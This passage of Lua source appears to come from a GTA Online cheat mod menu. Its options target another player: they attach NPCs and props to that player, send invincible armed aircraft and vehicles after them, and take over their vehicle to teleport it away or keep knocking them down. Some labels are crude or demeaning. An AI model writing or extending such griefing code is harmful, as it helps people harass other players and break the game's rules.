        ENTITY.FREEZE_ENTITY_POSITION(npc4, true)
        npc5 = createped(26,0x61D4C771,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc5,pedp, 0, 0.60,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc5, true)
        npc6 = createped(26,0x61D4C771,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc6,pedp, 0, 0.00,0.60,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc6, true)
        npc7 = createped(26,0x61D4C771,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc7,pedp, 0, -0.60,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc7, true)
        npc8 = createped(26,0x61D4C771,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc8,pedp, 0, 0.0,-0.60,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc8, true)
        end)

        GTAC(updatetroll, "附加佩奇", {}, "", function(f)
        local function createped(type, hash, pos, dir)
        STREAMING.REQUEST_MODEL(hash)
        while not STREAMING.HAS_MODEL_LOADED(hash) do
        wait(10)
        end
        local ped = entities.create_ped(type, hash, pos, dir, true, false)
        STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(hash)
        return ped
        end
        pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
        local pedp = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        pos.z = pos.z + 0.6
        npc1 = createped(26,0xCE5FF074,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc1,pedp, 0, 0.30,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc1, true)
        npc2 = createped(26,0xCE5FF074,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc2,pedp, 0, 0.00,0.30,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc2, true)
        npc3 = createped(26,0xCE5FF074,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc3,pedp, 0, -0.30,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc3, true)
        npc4 = createped(26,0xCE5FF074,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc4,pedp, 0, 0.0,-0.30,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc4, true)
        npc5 = createped(26,0xCE5FF074,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc5,pedp, 0, 0.60,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc5, true)
        npc6 = createped(26,0xCE5FF074,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc6,pedp, 0, 0.00,0.60,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc6, true)
        npc7 = createped(26,0xCE5FF074,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc7,pedp, 0, -0.60,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc7, true)
        npc8 = createped(26,0xCE5FF074,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc8,pedp, 0, 0.0,-0.60,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc8, true)
        end)

        GTAC(updatetroll, "附加同性恋", {}, "", function(f)
        local function createped(type, hash, pos, dir)
        STREAMING.REQUEST_MODEL(hash)
        while not STREAMING.HAS_MODEL_LOADED(hash) do
        wait(10)
        end
        local ped = entities.create_ped(type, hash, pos, dir, true, false)
        STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(hash)
        return ped
        end
        pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
        local pedp = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        pos.z = pos.z + 0.6
        npc1 = createped(26,0xE0E69974,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc1,pedp, 0, 0.30,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc1, true)
        npc2 = createped(26,0xE0E69974,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc2,pedp, 0, 0.00,0.30,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc2, true)
        npc3 = createped(26,0xE0E69974,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc3,pedp, 0, -0.30,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc3, true)
        npc4 = createped(26,0xE0E69974,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc4,pedp, 0, 0.0,-0.30,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc4, true)
        npc5 = createped(26,0xE0E69974,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc5,pedp, 0, 0.60,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc5, true)
        npc6 = createped(26,0xE0E69974,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc6,pedp, 0, 0.00,0.60,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc6, true)
        npc7 = createped(26,0xE0E69974,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc7,pedp, 0, -0.60,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc7, true)
        npc8 = createped(26,0xE0E69974,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc8,pedp, 0, 0.0,-0.60,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc8, true)
        end)

        GTAC(updatetroll, "附加小丑", {}, "", function(f)
        local function createped(type, hash, pos, dir)
        STREAMING.REQUEST_MODEL(hash)
        while not STREAMING.HAS_MODEL_LOADED(hash) do
        wait(10)
        end
        local ped = entities.create_ped(type, hash, pos, dir, true, false)
        STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(hash)
        return ped
        end
        pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
        local pedp = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        pos.z = pos.z + 0.6
        npc1 = createped(26,0x04498DDE,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc1,pedp, 0, 0.30,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc1, true)
        npc2 = createped(26,0x04498DDE,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc2,pedp, 0, 0.00,0.30,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc2, true)
        npc3 = createped(26,0x04498DDE,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc3,pedp, 0, -0.30,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc3, true)
        npc4 = createped(26,0x04498DDE,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc4,pedp, 0, 0.0,-0.30,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc4, true)
        npc5 = createped(26,0x04498DDE,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc5,pedp, 0, 0.60,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc5, true)
        npc6 = createped(26,0x04498DDE,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc6,pedp, 0, 0.00,0.60,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc6, true)
        npc7 = createped(26,0x04498DDE,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc7,pedp, 0, -0.60,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc7, true)
        npc8 = createped(26,0x04498DDE,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc8,pedp, 0, 0.0,-0.60,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc8, true)
        end)

        GTAC(updatetroll, "附加丧尸", {}, "", function(f)
        local function createped(type, hash, pos, dir)
        STREAMING.REQUEST_MODEL(hash)
        while not STREAMING.HAS_MODEL_LOADED(hash) do
        wait(10)
        end
        local ped = entities.create_ped(type, hash, pos, dir, true, false)
        STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(hash)
        return ped
        end
        pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
        local pedp = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        pos.z = pos.z + 0.6
        npc1 = createped(26,0xAC4B4506,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc1,pedp, 0, 0.30,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc1, true)
        npc2 = createped(26,0xAC4B4506,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc2,pedp, 0, 0.00,0.30,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc2, true)
        npc3 = createped(26,0xAC4B4506,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc3,pedp, 0, -0.30,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc3, true)
        npc4 = createped(26,0xAC4B4506,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc4,pedp, 0, 0.0,-0.30,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc4, true)
        npc5 = createped(26,0xAC4B4506,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc5,pedp, 0, 0.60,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc5, true)
        npc6 = createped(26,0xAC4B4506,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc6,pedp, 0, 0.00,0.60,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc6, true)
        npc7 = createped(26,0xAC4B4506,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc7,pedp, 0, -0.60,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc7, true)
        npc8 = createped(26,0xAC4B4506,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc8,pedp, 0, 0.0,-0.60,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc8, true)
        end)

        GTAC(updatetroll, "附加妓女", {}, "", function(f)
        local function createped(type, hash, pos, dir)
        STREAMING.REQUEST_MODEL(hash)
        while not STREAMING.HAS_MODEL_LOADED(hash) do
        wait(10)
        end
        local ped = entities.create_ped(type, hash, pos, dir, true, false)
        STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(hash)
        return ped
        end
        pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
        local pedp = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        pos.z = pos.z + 0.6
        npc1 = createped(26,0x9CF26183,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc1,pedp, 0, 0.30,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc1, true)
        npc2 = createped(26,0x9CF26183,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc2,pedp, 0, 0.00,0.30,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc2, true)
        npc3 = createped(26,0x9CF26183,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc3,pedp, 0, -0.30,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc3, true)
        npc4 = createped(26,0x9CF26183,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc4,pedp, 0, 0.0,-0.30,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc4, true)
        npc5 = createped(26,0x9CF26183,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc5,pedp, 0, 0.60,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc5, true)
        npc6 = createped(26,0x9CF26183,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc6,pedp, 0, 0.00,0.60,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc6, true)
        npc7 = createped(26,0x9CF26183,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc7,pedp, 0, -0.60,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc7, true)
        npc8 = createped(26,0x9CF26183,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc8,pedp, 0, 0.0,-0.60,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc8, true)
        end)
        --附加物体

        OBJECT_AT = {
        6286,
        57597,
        24818,
        24817,
        24816,
        23553,
        11816,
        40269,
        51826,
        57005,
        28252,
        52301,
        10706,
        36864,
        11816,
        39317,
        45509,
        58271,
        18905,
        61163,
        14201,
        64729,
        63931,
        65068,
        31086,
        12844,
        }

        GTAC(updatetroll, "附加666", {}, "", function(f)
        spawned_cunts = {}
        pped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = v3()
        for i = 1, #OBJECT_AT do
        bone_idx = PED.GET_PED_BONE_INDEX(pped, OBJECT_AT[i])
        spawned_cunts[#spawned_cunts + 1] = OBJECT.CREATE_OBJECT_NO_OFFSET(84140480,0,0,0,true,false)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(spawned_cunts[#spawned_cunts], pped, bone_idx, 0,0,0, 0,0,0, true, true, false,0, false)
        end
        end)

        GTAC(updatetroll, "附加一身屎", {}, "", function(f)
        spawned_cunts = {}
        pped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = v3()
        for i = 1, #OBJECT_AT do
        bone_idx = PED.GET_PED_BONE_INDEX(pped, OBJECT_AT[i])
        spawned_cunts[#spawned_cunts + 1] = OBJECT.CREATE_OBJECT_NO_OFFSET(2223607550,0,0,0,true,false)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(spawned_cunts[#spawned_cunts], pped, bone_idx, 0,0,0, 0,0,0, true, true, false,0, false)
        end
        end)

        GTAC(updatetroll, "附加导弹车", {}, "", function(f)
        spawned_cunts = {}
        pped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = v3()
        for i = 1, #OBJECT_AT do
        bone_idx = PED.GET_PED_BONE_INDEX(pped, OBJECT_AT[i])
        spawned_cunts[#spawned_cunts + 1] = OBJECT.CREATE_OBJECT_NO_OFFSET(-692292317,0,0,0,true,false)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(spawned_cunts[#spawned_cunts], pped, bone_idx, 0,0,0, 0,0,0, true, true, false,0, false)
        end
        end)

        GTAC(updatetroll, "附加门", {}, "", function(f)
        spawned_cunts = {}
        pped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = v3()
        for i = 1, #OBJECT_AT do
        bone_idx = PED.GET_PED_BONE_INDEX(pped, OBJECT_AT[i])
        spawned_cunts[#spawned_cunts + 1] = OBJECT.CREATE_OBJECT_NO_OFFSET(520341586,0,0,0,true,false)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(spawned_cunts[#spawned_cunts], pped, bone_idx, 0,0,0, 0,0,0, true, true, false,0, false)
        end
        end)

        GTAC(updatetroll, "附加假jb", {}, "", function(f)
        spawned_cunts = {}
        pped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = v3()
        for i = 1, #OBJECT_AT do
        bone_idx = PED.GET_PED_BONE_INDEX(pped, OBJECT_AT[i])
        spawned_cunts[#spawned_cunts + 1] = OBJECT.CREATE_OBJECT_NO_OFFSET(-422877666,0,0,0,true,false)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(spawned_cunts[#spawned_cunts], pped, bone_idx, 0,0,0, 0,0,0, true, true, false,0, false)
        end
        end)

        GTAC(updatetroll, "附加篮球", {}, "", function(f)
        playerped1 = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        attach_object1 = OBJECT.CREATE_OBJECT_NO_OFFSET(1840863642,0, 0, 0, true, false)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(attach_object1, playerped1, 0, 0, 0, 0, 0.0, 0, 0.0, true, true, false, 0, false)
        end)

        GTAC(updatetroll, "附加篝火", {}, "", function(f)
        playerped1 = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        attach_object1 = OBJECT.CREATE_OBJECT_NO_OFFSET(-1065766299,0, 0, 0, true, false)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(attach_object1, playerped1, 0, 0, 0, 0, 0.0, 0, 0.0, true, true, false, 0, false)
        end)

        GTAC(updatetroll, "附加垃圾桶", {}, "", function(f)
        playerped2 = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        attach_object2 = OBJECT.CREATE_OBJECT_NO_OFFSET(1143474856,0, 0, 0, true, false)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(attach_object2, playerped2, 0, 0, 0, 0, 0.0, 0, 0.0, true, true, false, 0, false)
        end)

        GTAC(updatetroll, "附加仙人掌", {}, "", function(f)
        playerped3 = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        attach_object3 = OBJECT.CREATE_OBJECT_NO_OFFSET(-194496699,0, 0, 0, true, false)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(attach_object3, playerped3, 0, 0, 0, 0, 0.0, 0, 0.0, true, true, false, 0, false)
        end)

        GTAC(updatetroll, "附加消防栓", {}, "", function(f)
        playerped3 = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        attach_object3 = OBJECT.CREATE_OBJECT_NO_OFFSET(200846641,0, 0, 0, true, false)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(attach_object3, playerped3, 0, 0, 0, 0, 0.0, 0, 0.0, true, true, false, 0, false)
        end)

        GTAC(updatetroll, "附加加油站", {}, "", function(f)
        playerped3 = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        attach_object3 = OBJECT.CREATE_OBJECT_NO_OFFSET(-2007231801,0, 0, 0, true, false)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(attach_object3, playerped3, 0, 0, 0, 0, 0.0, 0, 0.0, true, true, false, 0, false)
        end)

        GTAC(updatetroll, "附加太阳伞", {}, "", function(f)
        playerped3 = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        attach_object3 = OBJECT.CREATE_OBJECT_NO_OFFSET(-2108662770,0, 0, 0, true, false)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(attach_object3, playerped3, 0, 0, 0, 0, 0.0, 0, 0.0, true, true, false, 0, false)
        end)

        GTAC(updatetroll, "附加傻逼", {}, "", function(f)
        playerped3 = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        attach_object3 = OBJECT.CREATE_OBJECT_NO_OFFSET(-1059647297,0, 0, 0, true, false)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(attach_object3, playerped3, 0, 0, 0, 0.5, 0.0, 0, 0.0, true, true, false, 0, false)
        end)

        GTAC(updatetroll, "附加国旗", {}, "", function(f)
        playerped3 = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        attach_object3 = OBJECT.CREATE_OBJECT_NO_OFFSET(757141590,0, 0, 0, true, false)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(attach_object3, playerped3, 0, 0, 0, 0.5, 0.0, 0, 0.0, true, true, false, 0, false)
        end)
    
    local attack = GT(playerMain, "闪电突击", {}, "召唤军队袭击该玩家")
    require "lib.GTSCRIPTS.GTA.attacker"
    lazer_visible = true
    local gunner_weapons = "weapon_combatmg"
    GTAC(attack, "突击该玩家!!!", {"flashout"}, "默认无敌模式", function()
        local pilot, lazer = spawn_lazer(pid, gunner_weapons, collision)
        while ENTITY.GET_ENTITY_HEALTH(pilot) > 0 do
            local player_peds = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
            local a = ENTITY.GET_ENTITY_COORDS(player_peds)
            local b = ENTITY.GET_ENTITY_COORDS(lazer)
            if MISC.GET_DISTANCE_BETWEEN_COORDS(a.x, a.y, a.z, b.x, b.y, b.z, true) > 90 then
                TASK.TASK_HELI_CHASE(pilot, player_peds, 0, 0, 50)
            else
                TASK.TASK_HELI_MISSION(pilot, lazer, 0, player_peds, a.x, a.y, a.z, 23, 30, -1, -1, 10, 10, 5, 0)
            end
            wait()
        end
    end)

    GTTG(attack, "可见性", {"visablearmy"}, "是否让目标玩家可发现", function(on)
        lazer_visible = on
    end, true)
    
    GTTG(attack, "碰撞性", {"collisionarmy"}, "是否存在实体碰撞(基本碰撞始终启用)", function(on)
        collision = on
    end, false)
    
    GTAC(attack, "删除", {"deletearmy"}, "删除你的军队", function()
        menu.trigger_commands("superc")
    end)

    local playerOtherTrolling = GT(playerMain, "载具恶搞", {}, "")

    local player_veh_teleport = GT(playerOtherTrolling, "传送载具", {}, "")

    local winmenu = GT(playerOtherTrolling, '车窗控制', {}, '如果您靠近他们，效果会更好/更快')

    lscm = menu.list(playerOtherTrolling, '洛圣都改车王', {}, '如果您靠近他们，效果会更好/更快')

    bodym = menu.list(lscm, '身体改造', {}, '仅显示可更改的内容。 如果他们乘坐新车退出车身改装以刷新选项')

    lighm = menu.list(lscm, '灯', {}, '')

    colm  = menu.list(lscm, '车辆颜色', {}, '')

    wmenu = menu.list(lscm, '车轮', {}, '')

 GTLuaScript.list_action(playerOtherTrolling, "附加车辆", {}, "", {"到他的车", "他的车到我的车", "我的车到他的车", "分离"}, function(index, value, click_type)
    local car = PED.GET_VEHICLE_PED_IS_IN(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
    if car ~= 0 then
        request_control_of_entity(car)
        pluto_switch index do
            case 1: 
                ENTITY.ATTACH_ENTITY_TO_ENTITY(players.user_ped(), car, 0, 0.0, -0.20, 2.00, 1.0, 1.0,1, true, true, true, false, 0, true)
                break 
            case 2: 
                if player_cur_car ~= 0 then
                    ENTITY.ATTACH_ENTITY_TO_ENTITY(car, player_cur_car, 0, 0.0, -5.00, 0.00, 1.0, 1.0,1, true, true, true, false, 0, true)
                end
                break
            case 3: 
                if player_cur_car ~= 0 then
                    ENTITY.ATTACH_ENTITY_TO_ENTITY(player_cur_car, car, 0, 0.0, -5.00, 0.00, 1.0, 1.0,1, true, true, true, false, 0, true)
                end
                break

            case 4: 
                ENTITY.DETACH_ENTITY(car, false, false)
                if player_cur_car ~= 0 then
                    ENTITY.DETACH_ENTITY(player_cur_car, false, false)
                end
                ENTITY.DETACH_ENTITY(players.user_ped(), false, false)
                break
        end
    end
end)

    GTAC(player_veh_teleport, "传送载具到我", {"tpvtome"}, "如果这不起作用，它不是一个bug", function(on_click)
        tpcartome(pid)
    end)

    GTAC(player_veh_teleport, "传送载具到导航点", {"tpvtoway"}, "如果这不起作用，它不是一个bug", function(on_click)
        tocartopoint(pid)
    end)

    GTAC(player_veh_teleport, "传送载具到花园银行停机坪", {"tpvtomaze"}, "如果这不起作用，它不是一个bug", function(on_click)
        tptomaze(pid)
    end)

    GTAC(player_veh_teleport, "传送载具到深海底", {"tpvunderwater"}, "如果这不起作用，它不是一个bug", function(on_click)
        tptounderwater(pid)
    end)

    GTAC(player_veh_teleport, "传送载具到高空", {""}, "", function()
        tptohighair(pid)
    end)

    GTAC(player_veh_teleport, "传送载具到洛圣都改车王", {"tpvlsc"}, "如果这不起作用，它不是一个bug", function(on_click)
        tolsc(pid)
    end)

    GTAC(player_veh_teleport, "传送载具到监狱SCP-173单元", {"tpvscp"}, "如果这不起作用，它不是一个bug", function(on_click)
        tpscp(pid)
    end)

    GTAC(player_veh_teleport, "传送载具到大牢房中", {"tpvcell"}, "如果这不起作用，它不是一个bug", function(on_click)
        tocell(pid)
    end)

    local trolly_Vehicles = GT(playerOtherTrolling, "恶搞载具", {}, "")

	GTACR(trolly_Vehicles, "发送恶搞载具", {}, "", {"Bandito", "Go-Kart"}, function (index, opt)
		send_veh_attack(opt, index, pid)
	end)

	GTTG(trolly_Vehicles, "无敌的", {}, "",function(toggle) 
        send_veh_attack_god(toggle)
    end)

	GTAC(trolly_Vehicles, "派武装匪徒", {}, "", function()
        send_veh_attacker(pid)
	end)

	GTluaScript.slider_text(trolly_Vehicles, "匪徒武器", {}, "", {util.get_label_text("BAND_BOMB"), util.get_label_text("TOP_MINE")}, function (index, value)
        send_veh_attacker_weapon(index, value)
	end)

	mineSlider = GTluaScript.slider_text(trolly_Vehicles, "地雷", {}, "", {util.get_label_text("KINET_MINE"), util.get_label_text("EMP_MINE")}, function (index, value)
		send_veh_attacker_weapon_mine(index, value)
	end)

	GTluaScript.slider(trolly_Vehicles, "数量", {}, "", 1, 10, 1, 1, function(value)
        send_veh_attacker_number(value)
    end)

	GTAC(trolly_Vehicles, "删除", {}, "", function()
        dele_all_veh_attacker()
	end)

	GTluaScript.set_visible(mineSlider, false)

    local enemyVehiclesOpt = GT(playerOtherTrolling, "敌对载具", {}, "")

	GTACR(enemyVehiclesOpt, "派遣敌对载具", {}, "", {"Minitank", "Buzzard", "Lazer"}, function(index, option)
        veh_attacker_spawn(pid, index, option)
	end)

	GTluaScript.slider_text(enemyVehiclesOpt, "迷你坦克武器", {}, "", {util.get_label_text("WT_V_PLRBUL"),util.get_label_text("MINITANK_WEAP2"),util.get_label_text("MINITANK_WEAP3"),}, function(index)
        mintank_weapon(index)
	end)

	GTluaScript.slider_text(enemyVehiclesOpt, "枪手的武器", {}, "", {util.get_label_text("WT_MG"), util.get_label_text("WT_RPG")}, function(index)
		gunner_weapon(index)
	end)

	GTluaScript.slider(enemyVehiclesOpt, "数量", {}, "",1, 10, 1, 1, function (value)
        veh_attacker_spawn_count(value)
    end)

	GTTG(enemyVehiclesOpt, "无敌", {}, "",function(toggle)
        veh_attacker_spawn_god(toggle) 
    end)

	GTAC(enemyVehiclesOpt, "删除", {}, "", function()
        dele_veh_attacker()
	end)

    local cplaym = GT(playerOtherTrolling, '载具攻击', {}, '')

    local vehaloop =  GTLP(cplaym, '载具攻击', {'SmashPla'},'使玩家无法站起来', function ()
        vehpushandhit(pid)
     end)
 
     GTluaScript.set_value(vehaloop, nil)
 
     GTTG(cplaym, '隐形载具', {}, '将攻击载具更改为不可见', function (on)
        vehhitcantsee(on)
     end)

     local cclist = GT(cplaym, '更改为用于载具攻击的载具', {}, '')
     GTLuaScript.list_action(cclist, '载具列表', {''}, '更改为用于载具攻击的载具', Vehlist, function(vehsel)
        vehaset.vehasel = util.joaat(Vehha[vehsel])
     end)
 
     GTluaScript.slider(cplaym, '攻击频率', {'assaultrate'}, '调整载具攻击频率', 100, 4000, 1000, 100, function (ar)
         vehaset.vehra = ar
      end)

     GTluaScript.text_input(cclist, '输入自定义载具模型名', {'cussmash'}, '输入车辆模型名以更改载具为攻击载具', function(cussma)
        if STREAMING.IS_MODEL_A_VEHICLE(util.joaat(cussma)) then
            vehaset.vehasel = util.joaat(cussma)
         else
            if set.alert then
                util.toast('载具名称不正确(请检查你的拼写)')
            end
         end
 end, 'toreador')

     local radio = GT(playerOtherTrolling, "更换广播电台", {}, "")
    local stations = {}
    for station, name in pairs(station_name) do
        stations[#stations + 1] = station
    end
    GTLuaScript.list_action(radio, "广播电台", {}, "", stations, function(index, value)
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = players.get_position(players.user())
        local player_veh = PED.GET_VEHICLE_PED_IS_IN(ped)

        if not PED.IS_PED_IN_VEHICLE(ped, player_veh, false) then
            util.toast("玩家不在载具中. :/")
        return end
        local radio_name = station_name[value]
        if PED.IS_PED_IN_ANY_VEHICLE(ped, false) then 

            if not VEHICLE.ARE_ANY_VEHICLE_SEATS_FREE(player_veh) then
                util.toast("未能成功更换玩家电台. :/")
            return end

            NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(player_veh)
            if not PED.IS_PED_IN_VEHICLE(players.user_ped(), player_veh, false) then
                ENTITY.SET_ENTITY_VISIBLE(players.user_ped(), false)
                menu.trigger_commands("tpveh" .. players.get_name(pid))
                wait(250)
